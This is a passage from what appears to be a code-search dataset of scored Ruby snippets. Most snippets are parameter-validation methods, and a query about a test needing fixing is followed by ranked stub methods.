"text": "def valid?(param = nil)\n if param.nil?\n @errors.empty?\n else\n @errors[param].nil? or @errors[param].empty?\n end\n end",
"title": ""
},
{
"docid": "a3fecd413580b796db460f3ab5bee522",
"score": "0.6701694",
"text": "def param_is_valid?\n robot_facings = @robot.class.const_get(:AVAIABLE_FACING).map(&:to_s)\n\n !(@args =~ /^\\d+,\\d+,(#{robot_facings.join('|').upcase})+$/).nil?\n end",
"title": ""
},
{
"docid": "a80c679cc5860680f8118ce6b96f6185",
"score": "0.66952604",
"text": "def validate_required_params(required_param)\n return unless request.query_parameters[required_param].blank?\n\n render json: { error: \"'#{required_param}' query parameter is required\" },\n status: :bad_request\n end",
"title": ""
},
{
"docid": "9e6f9742701328216b95cd29d645d595",
"score": "0.6694733",
"text": "def validate_params(params)\n errors = []\n errors << if params.key?('asking_price') && params.key?('down_payment')\n validate(asking_price: params['asking_price'], down_payment: params['down_payment']) do |val_errors|\n val_errors << validate_minimum_down_payment(params['asking_price'], params['down_payment'])\n end\n end\n\n errors << if params.key?('payment_schedule')\n validate(payment_schedule: params['payment_schedule']) do |val_errors|\n val_errors << validate_payment_schedule_types(params['payment_schedule'])\n end\n end\n\n errors << if params.key?('amortization_period')\n validate(amortization_period: params['amortization_period']) do |val_errors|\n val_errors << validate_amortization_period(params['amortization_period'])\n end\n end\n\n errors << if params.key?('payment_amount')\n validate(payment_amount: params['payment_amount'])\n end\n\n errors << if params.key?('interest_rate')\n validate(interest_rate: params['interest_rate'])\n end\n\n errors = errors.flatten.compact\n errors.blank? ? [] : \"Validation failed: #{errors.join(', ')}\"\n end",
"title": ""
},
{
"docid": "4ead48b85903649ae6abc89df6f435c2",
"score": "0.667436",
"text": "def wrong_params?\n if has_not_mandatory_params?\n render json: { message: \"Wrong data params\" }, status: 400\n end\n end",
"title": ""
},
{
"docid": "1f60ef03e1a65234fb10cfcdf4425fd3",
"score": "0.6672215",
"text": "def params?\n !(params.input_filters.required_inputs.empty? && params.input_filters.optional_inputs.empty?)\n end",
"title": ""
},
{
"docid": "60bf7b139e5eddb744e3b4db3bee930a",
"score": "0.6669537",
"text": "def validate\n missing_parameters = []\n required_fields.each do |param|\n missing_parameters << param.to_s unless self.send(param)\n end\n raise RTurk::MissingParameters, \"Parameters: '#{missing_parameters.join(', ')}'\" unless missing_parameters.empty?\n end",
"title": ""
},
{
"docid": "4bcebb28c01b3e10afb873d840539424",
"score": "0.66287184",
"text": "def validate\n \n raise ArgumentError, \"Params emtpy\" if @params.nil? \n @errors = []\n @errors << 'charge must be provided' if @params.charge.nil? \n @errors << 'currency_code must be provided' if @params.currency_code.nil? \n @errors << 'order_id must be provided' if @params.order_id.nil? \n @errors << 'order must be provided' if @params.order.nil? \n @errors << 'order.id must be provided' if @params.order.id.nil? \n @errors << 'order.total must be provided' if @params.order.total.nil? \n @errors << 'order.shipping_value must be provided' if @params.order.shipping_value.nil? \n @errors << 'order.tax must be provided' if @params.order.tax.nil? \n @errors << 'order detail must be provided' unless @params.order.detail.length > 0 \n\n validate_item_details @params.order.detail if @params.order.detail.length > 0 \n\n raise ZipMoney::RequestError.new(\"Following error(s) occurred while making request, please resolve them to make the request: #{@errors}\") if @errors.any?\n end",
"title": ""
},
{
"docid": "a1b106700510622149d03a6b2467f2af",
"score": "0.6626993",
"text": "def validate(ctx, params:, **)\n is_valid =\n params.is_a?(Hash) &&\n params[\"info\"].is_a?(Hash) &&\n params[\"info\"][\"email\"]\n\n is_valid # return value matters!\n end",
"title": ""
},
{
"docid": "1ebc9b129b70e51573970b5ce96497fe",
"score": "0.66235906",
"text": "def validate_params(params)\n keys = params.keys.sort\n\n # Is this anywhere near a good idea or am I being too cute here?\n operation = caller[0][/`([^']*)'/, 1]\n\n case operation\n when 'create_content'\n keys - CREATE_PARAMS.sort == []\n when 'list_content'\n keys - LIST_PARAMS.sort == []\n when 'show_content'\n keys - SHOW_PARAMS.sort == []\n when 'update_content'\n keys - UPDATE_PARAMS.sort == []\n when 'delete_content'\n keys - DELETE_PARAMS.sort == []\n else raise ArgumentError, \"Operation: #{operation} not supported\"\n end\n end",
"title": ""
},
{
"docid": "716e9e1f107a1b3d8497ecd4b6aa26c8",
"score": "0.66205597",
"text": "def validate_params\n if lat.blank? || lng.blank? || property_type.blank? || offer_type.blank?\n @properties = []\n @message = \"Looks like some search parameters are missing!\"\n fail!(:validation_failed) && abort!\n end\n end",
"title": ""
},
{
"docid": "5b81666a0d1c88e0efddf3d9968124aa",
"score": "0.66172075",
"text": "def valid_params?(*args)\n args.map { |a| return false if a.nil? || a.to_s.gsub(/\\s/, '').empty? }\n true\n end",
"title": ""
},
{
"docid": "668b439f50f6854116a7b9239026ec9b",
"score": "0.66123",
"text": "def validate_params\n validate_size\n validate_mine_density\n validate_first_click\n type_specific_checks\n end",
"title": ""
},
{
"docid": "e61529b052358aa9d35493ed6372afbd",
"score": "0.6601779",
"text": "def validate_param\n render_endpoint_request do\n erb = EndpointRequestBuilder.new(@endpoint)\n erb.validate_param(@arguments.keys.first.to_s, @arguments.values.first)\n render json: { success: 'Param looks like the right data type! good job!' }, status: 200\n end\n end",
"title": ""
},
{
"docid": "001a082a3c71c60c2310b47943acdb26",
"score": "0.6596524",
"text": "def validate(params)\n val_errors = []\n params.each do |param, value|\n val_errors << \"missing params #{param}\" if value.blank?\n end\n yield(val_errors) if block_given? && val_errors.blank?\n val_errors.compact\n end",
"title": ""
},
{
"docid": "0e83e6b0ea9985553631ef4668176f32",
"score": "0.6589939",
"text": "def verify_params(params)\n return false if params['Body'].to_s.empty?\n return false if params['Body'].to_s.bytes.size > 1600\n return false unless /\\+\\d+$/.match(params['To'])\n true\n end",
"title": ""
},
{
"docid": "4c0d4976fdbd849971816b9e6f472c86",
"score": "0.65885794",
"text": "def valid?\n\t\t\t\t((request.format.symbol == :json) || (params[\"format\"] != nil && params[\"format\"] == \"json\")) && params[\"email\"]\n\t\t\tend",
"title": ""
},
{
"docid": "cbfed8769d81d1a83ebd1c8b48b0b0ba",
"score": "0.6561454",
"text": "def missing_mandatory_params?(params)\n mandatory_params.each { |mandatory_param| @missing_params << mandatory_param if params[mandatory_param].to_s.empty? }\n return !@missing_params.empty?\n end",
"title": ""
},
{
"docid": "5552a0f05ac1bfed13efeb26dc9f84f9",
"score": "0.65402186",
"text": "def validate(ctx, params:, **)\n is_valid =\n params.is_a?(Hash) &&\n params[\"info\"].is_a?(Hash) &&\n params[\"info\"][\"email\"]\n \n is_valid # return value matters!\n end",
"title": ""
},
{
"docid": "a38e83b8475a5043bfc02028b7362dc8",
"score": "0.65384114",
"text": "def validate_query_params!\n return if [:from, :to].all? { |param| query_params.include?(param) }\n\n raise_error 'Grafana query parameters must include from and to.'\n end",
"title": ""
},
{
"docid": "84445c758ea715b92d5a67d956adea18",
"score": "0.6476997",
"text": "def is_invalid_request?(params) # :nodoc:\n # Minimal test: ensure signature exists.\n if not params[:signature]\n return api_response(:invalid_signature)\n end\n\n # Validate package, and get secret\n if not params[:package_id]\n return api_response(:not_authorized)\n end\n\n packages = Package.where(:package_id => params[:package_id])\n if packages.length != 1\n return api_response(:not_authorized)\n end\n\n secret = packages[0].secret\n\n # Clone parameters for creating the signature. Then remove stuff we don't\n # want to see in the signature.\n cloned = Marshal::load(Marshal.dump(params))\n cloned.delete(:controller)\n cloned.delete(:action)\n cloned.delete(:signature)\n\n # Check signature\n signature = create_signature(cloned, secret)\n if not signature == params[:signature]\n return api_response(:invalid_signature, { :signature => signature })\n end\n end",
"title": ""
},
{
"docid": "95edc1a5c0c6e4b36d4a702384f1de83",
"score": "0.6469576",
"text": "def params_valid(param,value)\n unless param.nil?\n if value == param\n return true\n else\n return false\n end \n else\n return false\n end\n end",
"title": ""
},
{
"docid": "232113c36fcb9be7caab3025582bb949",
"score": "0.6466427",
"text": "def params_valid?\n \n #if the user isn't signed in or there aren't any parameters, the params \n #aren't valid\n if !user_signed_in? || !params_present? \n return false\n end\n \n #Check whether a submission for the given language exists and whether it\n #belongs to the current user.\n submission = Submission.where(id: params[:submission_id], language_id: params[:language_id])\n \n submission.present? && current_user.id == submission.first.user_id\n end",
"title": ""
},
{
"docid": "1b09a4fcfba8ac6413609b93ff4b48f8",
"score": "0.64592636",
"text": "def validate_paramters\n raise Scorekeeper::MissingParameterException if @income.nil? || @zipcode.nil? || @age.nil?\n end",
"title": ""
},
{
"docid": "846415fab285c220c6bcd3059d41527c",
"score": "0.6441033",
"text": "def validate_parameter(*param)\n param.each do |a|\n return false unless a && (a.to_s =~ /^\\{.*\\}$/) == nil && a != '' && a != {}\n end\n end",
"title": ""
},
{
"docid": "64b6a4543918241782e04bad624cdd48",
"score": "0.6437944",
"text": "def valid_guce_params?\n if @order_id == nil || @amount == nil || not_a_number?(@amount)\n return false\n else\n return true\n end\n end",
"title": ""
},
{
"docid": "042674a14bd34c11ef676dfa7cc0e3c0",
"score": "0.6436402",
"text": "def validate( params=nil, additional_constraints=nil )\n\t\tself.log.debug \"Validating.\"\n\t\tself.reset\n\n\t\t# :TODO: Handle the additional_constraints\n\n\t\tparams ||= @fields\n\t\tparams = stringify_keys( params )\n\t\t@fields = deep_copy( params )\n\n\t\tself.log.debug \"Starting validation with fields: %p\" % [ @fields ]\n\n\t\t# Use the constraints list to extract all the parameters that have corresponding\n\t\t# constraints\n\t\tself.constraints.each do |field, constraint|\n\t\t\tself.log.debug \" applying %s to any %p parameter/s\" % [ constraint, field ]\n\t\t\tvalue = params.delete( field.to_s )\n\t\t\tself.log.debug \" value is: %p\" % [ value ]\n\t\t\tself.apply_constraint( constraint, value )\n\t\tend\n\n\t\t# Any left over are unknown\n\t\tparams.keys.each do |field|\n\t\t\tself.log.debug \" unknown field %p\" % [ field ]\n\t\t\t@unknown << field\n\t\tend\n\n\t\t@validated = true\n\tend",
"title": ""
},
{
"docid": "e814d87bf7c3449ad6222199dee64011",
"score": "0.64309937",
"text": "def validate_parameters\n check_for_valid_filepath if (@repository.parameters[:file])\n\n check_number_of_parameters(:coord, 2)\n check_number_of_parameters(:delta, 2)\n check_number_of_parameters(:time, 2)\n check_number_of_parameters(:range, 2)\n check_number_of_parameters(:section, 2)\n end",
"title": ""
},
{
"docid": "03f12072fb11339157b8e62a8614ba86",
"score": "0.6426503",
"text": "def validate_create_params!(params); end",
"title": ""
},
{
"docid": "f92893e224a559e735f63fdd6740f04c",
"score": "0.64220726",
"text": "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:filename].blank? &&\n !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "b5fb776ee8557333f137aa96127a7e22",
"score": "0.641338",
"text": "def validate_params\n assert_provided env, 'Missing \"env\"'\n assert_provided action, 'Missing \"action\"'\n\n case action\n when 'import'\n assert_provided path, 'Missing \"path\"'\n\n when 'export'\n assert_provided path, 'Missing \"path\"'\n\n when 'read'\n assert_provided name, 'Missing \"name\"'\n\n when 'rename'\n assert_provided name, 'Missing \"name\"'\n assert_provided to, 'Missing \"to\"'\n\n end\n\n assert_env_is_configured env\n end",
"title": ""
},
{
"docid": "a8c4801103c17174194278e6c5ababc8",
"score": "0.6412635",
"text": "def valid_params_request?\n !!env[\"devise.allow_params_authentication\"]\n end",
"title": ""
},
{
"docid": "b470046e7bbbff942dc51160e1b694c0",
"score": "0.6394128",
"text": "def valid?\n unless @json.class == Hash\n return false\n end\n\n unless @json['method'].class == String\n return false\n end\n\n unless @json['params'].class == Array\n return false\n end\n\n return true\n end",
"title": ""
},
{
"docid": "d63a9413b28616746d0acd78d54250de",
"score": "0.63723457",
"text": "def validate_params_for(user, params)\n if user != owner\n # If the user is not the owner, a) can't submit anything but joining or leaving,\n # and b) can only submit themselves for joining or leaving\n if (params.keys.map(&:to_sym) - [:joining_user_id, :leaving_user_id]).present? ||\n [params[:joining_user_id], params[:leaving_user_id]].compact.any? { |id| id.to_i != user.id }\n return false\n end\n end\n true\n end",
"title": ""
},
{
"docid": "9fb49d61d3887f1bd9d12fba210a603c",
"score": "0.6362444",
"text": "def validate_param(params)\n # Convert ids to Hash\n if params[:locations].present?\n params[:locations].collect! {|l| Location.find(l)}\n end\n\n if params[:categories].present?\n params[:categories].collect! {|c| Category.find(c)}\n end\n\n if params[:prerequisites].present?\n params[:prerequisites].collect! {|p| Prerequisite.where(id: p).first_or_initialize} # New prerequisite if not found\n end\n end",
"title": ""
},
{
"docid": "11bd7aafb19d864a0c6b95d51b746133",
"score": "0.635635",
"text": "def validate!\n REQUIRED_PARAMETERS.each do |name|\n if params[name].empty?\n raise(BuildRequestError, \"Vocalware: Parameter #{name} is required\")\n end\n end\n end",
"title": ""
},
{
"docid": "2dffe8b5f1123c7794605efb11bbda6e",
"score": "0.63519835",
"text": "def _validate_presence_of(*params)\n\t\tparams.each do |param|\n\t\t\traise ArgumentError, PRESENCE_REQUESTED if param.nil?\n\t\tend\n\tend",
"title": ""
},
{
"docid": "69f18db9747335dd5aec4f429db5b031",
"score": "0.635078",
"text": "def oAuthValidate\r\n logger.info(\"UserController::oAuthValidate::Params:----#{params}\")\r\n \r\n end",
"title": ""
},
{
"docid": "01ff7fe7744eb75901254f454219d31d",
"score": "0.6340405",
"text": "def valid_contact_params?(params)\n r = false\n if !params[:sender_name].blank? and !params[:sender_address].blank? and !params[:message_title].blank? and !params[:message_content].blank? and ((params[:spamcode]).to_i==session[:spamcode])\n r = true\n end\n r\n end",
"title": ""
},
{
"docid": "c92284f3d170f15b80b905c90634c4c9",
"score": "0.63141567",
"text": "def validate_update_params\n validate_url\n validate_visible\n end",
"title": ""
},
{
"docid": "e569579826a84fcb233e0cf25c8912cd",
"score": "0.63091207",
"text": "def valid_params?(name, size)\n return raise TypeError.new(\"A 'name' should be a string\") if name.class != String\n return raise TypeError.new(\"A 'size' should be an integer\") if size.class != Integer\n\n true\n end",
"title": ""
},
{
"docid": "dd46c340ec0959f7fd49796f9341ec16",
"score": "0.6298151",
"text": "def require_valid_params\n params\n .require(:share)\n .require(%i[document_id document_type recipient_id])\n end",
"title": ""
},
{
"docid": "be1433a0ed7ad1dbd711c14ca07cdc14",
"score": "0.62961733",
"text": "def valid?(params = {})\n params.each_value do |arr|\n arr.each do |key, value|\n # hasOtherName always will be correct\n next if key == 'hasOtherName'\n # If the array is empty or the data that has is invalid return false\n # return false if the array is empty\n return false if value.class == Array && value.empty?\n # return false if the information is not correct\n return false if value.class == Array && invalid_interactions?(value)\n next if value.class == Array\n # If the string is empty data not valid\n return false if value == ''\n end\n end\n true\n end",
"title": ""
},
{
"docid": "dcc4a3a0f734e9aae28402c7d5999e71",
"score": "0.62902725",
"text": "def validate_params(hash)\n hash.include?('title') and hash.include?('body') and hash.include?('category')\n end",
"title": ""
},
{
"docid": "2fd136a95bdae8dfdc895bd42d4dbd84",
"score": "0.62893724",
"text": "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "928a8094e4125645d3386d7fbf2790f0",
"score": "0.6284797",
"text": "def check_params *required\n required.each{|p|\n params[p].strip! if params[p] and params[p].is_a? String\n if !params[p] or (p.is_a? String and params[p].length == 0)\n return false\n end\n }\n true\nend",
"title": ""
},
{
"docid": "928a8094e4125645d3386d7fbf2790f0",
"score": "0.62847",
"text": "def check_params *required\n required.each{|p|\n params[p].strip! if params[p] and params[p].is_a? String\n if !params[p] or (p.is_a? String and params[p].length == 0)\n return false\n end\n }\n true\nend",
"title": ""
},
{
"docid": "f3195408d58ddebe0bc9f03558d55097",
"score": "0.6276444",
"text": "def validate_params\n\n categories.each() do |key, value|\n throw RuntimeError.new(\"ERROR: category '#{key}' contains more than #{maximum_numbers_per_category} parameters. Reduce parameter count.\") if value.size >maximum_numbers_per_category\n end\n\n keys=[]\n numbers=[]\n # slicer contains parameter with number 0... therefore valid parameter numbers starts at 0\n valid_param_numbers=SetupConfiguration.parameter_range()\n\n self.parameters().each() do |p|\n\n $stderr.puts \"WARNING: parameter number 404 is reserved for machine type. you are using it for '#{p.key}'.\" if p.number.eql?(404)\n throw RuntimeError.new(\"ERROR: parameter number '#{p.number}' not supported. Number must be in range #{valid_param_numbers}.\") unless valid_param_numbers.member?(p.number)\n\n if p.param?\n if keys.include? p.key\n raise RuntimeError.new(\"ERROR: parameter key '#{p.key}' defined more than once\")\n else\n keys << p.key\n end\n\n\n if numbers.include? p.number\n raise RuntimeError.new(\"ERROR: parameter number '#{p.number}' defined more than once\")\n else\n numbers << p.number\n end\n else\n assign_param_ref(p)\n end#p.param?\n\n end\n #force fresh sort of parameters\n @parameters = nil\n end",
"title": ""
},
{
"docid": "03274ecdaa242a9ddd609e9d9a57f151",
"score": "0.6265098",
"text": "def validate_review_completed_parameters(params)\n raise MissingTransactionId if params[\"id\"].to_s.length == 0\n raise InvalidTransactionId if !validate_transaction_id(params[\"id\"])\n\n raise MissingAnalystId if params[\"analyst_id\"].to_s.length == 0\n raise InvalidAnalystId if !validate_analyst_id(params[\"analyst_id\"])\n raise MissingAnalystFullname if params[\"analyst_fullname\"].to_s.length == 0\n raise InvalidAnalystFullname if !validate_analyst_fullname(params[\"analyst_fullname\"])\n\n raise MissingAnalystApprovalDate if params[\"analyst_approval_datetime\"].to_s.length == 0\n raise InvalidAnalystApprovalDate if !validate_date(params[\"analyst_approval_datetime\"])\n raise MissingAnalystTransactionId if params[\"analyst_transaction_id\"].to_s.length == 0\n raise MissingAnalystInternalStatusId if params[\"analyst_internal_status_id\"].to_s.length == 0\n raise MissingAnalystDecisionCode if params[\"decision_code\"].to_s.length == 0\n raise InvalidAnalystDecisionCode if !validate_decision_code(params[\"decision_code\"])\n return params\n end",
"title": ""
},
{
"docid": "b88355c4ffbfd5d0d4a1e65eaddb740a",
"score": "0.6262858",
"text": "def valid_params?(params)\n params_id_set = params[:enabled_component_ids].select(&:present?).to_set\n params_id_set.subset?(disableable_components_ids.to_set)\n end",
"title": ""
},
{
"docid": "62bb9ae29acbf9fef01ba9ad6d7bd4a4",
"score": "0.6259009",
"text": "def validate_review_completed_parameters(params)\n raise MissingTransactionId if params[\"id\"].to_s.length == 0\n raise InvalidTransactionId if !validate_transaction_id(params[\"id\"])\n\n raise MissingAnalystId if params[\"analyst_id\"].to_s.length == 0\n raise InvalidAnalystId if !validate_analyst_id(params[\"analyst_id\"])\n raise MissingAnalystFullname if params[\"analyst_fullname\"].to_s.length == 0\n raise InvalidAnalystFullname if !validate_analyst_fullname(params[\"analyst_fullname\"])\n\n raise MissingAnalystApprovalDate if params[\"analyst_approval_datetime\"].to_s.length == 0\n raise InvalidAnalystApprovalDate if !validate_date(params[\"analyst_approval_datetime\"])\n raise MissingAnalystTransactionId if params[\"analyst_transaction_id\"].to_s.length == 0\n raise MissingAnalystInternalStatusId if params[\"analyst_internal_status_id\"].to_s.length == 0\n raise MissingAnalystDecisionCode if params[\"decision_code\"].to_s.length == 0\n raise InvalidAnalystDecisionCode if !validate_decision_code(params[\"decision_code\"])\n return params\n end",
"title": ""
}
] |
6beb6d313ab5288a18e91bc668f67217 | this test needs to be fixed by the developer and checked in | [
{
"docid": "72b89a5c7a1d066530a025315f988b03",
"score": "0.0",
"text": "def ntest_job_condition\n assert_equal(true,@transformer.job_condition)\n end",
"title": ""
}
] | [
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6795638",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6795638",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6795638",
"text": "def spec; end",
"title": ""
},
{
"docid": "16a6d5e8eabd975007f205c109c50890",
"score": "0.6728216",
"text": "def testing; end",
"title": ""
},
{
"docid": "36d6426b60095cdd1428a9f39841eb63",
"score": "0.6640728",
"text": "def expected; end",
"title": ""
},
{
"docid": "deca5e01605df7655cd433763b5329db",
"score": "0.65724015",
"text": "def non_example_failure; end",
"title": ""
},
{
"docid": "0bc667af6f6e131c7f186907e9871e17",
"score": "0.64819807",
"text": "def testable; end",
"title": ""
},
{
"docid": "0bc667af6f6e131c7f186907e9871e17",
"score": "0.64819807",
"text": "def testable; end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.64475256",
"text": "def desired; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.6308184",
"text": "def used; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.6308184",
"text": "def used; end",
"title": ""
},
{
"docid": "ea08f86fbf94a490d3e42ea7c464ff82",
"score": "0.6280927",
"text": "def test_campground_open # half tested\n end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.6227026",
"text": "def in_use; end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.6227026",
"text": "def in_use; end",
"title": ""
},
{
"docid": "cf962b55de96fd9b9b7a11d5f78e0233",
"score": "0.62236416",
"text": "def test_10_Store\n\t\t\n\tend",
"title": ""
},
{
"docid": "6e6891d187cd127b8bc7e632ec0b2d50",
"score": "0.6217627",
"text": "def unitary?; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.61306536",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "351d6b035a75ce301f020861a1907560",
"score": "0.6119442",
"text": "def check; end",
"title": ""
},
{
"docid": "b0a50289ce491e6a89d135c043b1b32b",
"score": "0.6117197",
"text": "def expected_additions; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "ab428ae414d7b57bc8d56e38b8d48302",
"score": "0.6097833",
"text": "def setup; end",
"title": ""
},
{
"docid": "0258123d1e95c51404c45560b987bd9e",
"score": "0.6097576",
"text": "def welch_ttest\n end",
"title": ""
},
{
"docid": "1068832c8229c37488788b46a0871f26",
"score": "0.6095687",
"text": "def testing\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6070626",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6070626",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6070626",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6070626",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "4e6cdd86d3b8030607df48fd87c80e69",
"score": "0.6060548",
"text": "def test()\n \n end",
"title": ""
},
{
"docid": "9e54d2a46f439bb51da049ec504cc18c",
"score": "0.6039024",
"text": "def actual; end",
"title": ""
},
{
"docid": "657ca09ded2c7918af57a835c38ccfdb",
"score": "0.60368526",
"text": "def test_ok; end",
"title": ""
},
{
"docid": "657ca09ded2c7918af57a835c38ccfdb",
"score": "0.60368526",
"text": "def test_ok; end",
"title": ""
},
{
"docid": "b18a1e60f10bfa30e8a7debd6f8abd8c",
"score": "0.59587014",
"text": "def testing\n\tend",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.5953385",
"text": "def verify; end",
"title": ""
},
{
"docid": "3261e005b458d88d8ae5c3ed2342cd04",
"score": "0.59530413",
"text": "def verify; end",
"title": ""
},
{
"docid": "066be921ec228d17c51f101728564a5d",
"score": "0.5945313",
"text": "def private\n head :ok\n end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.5945229",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
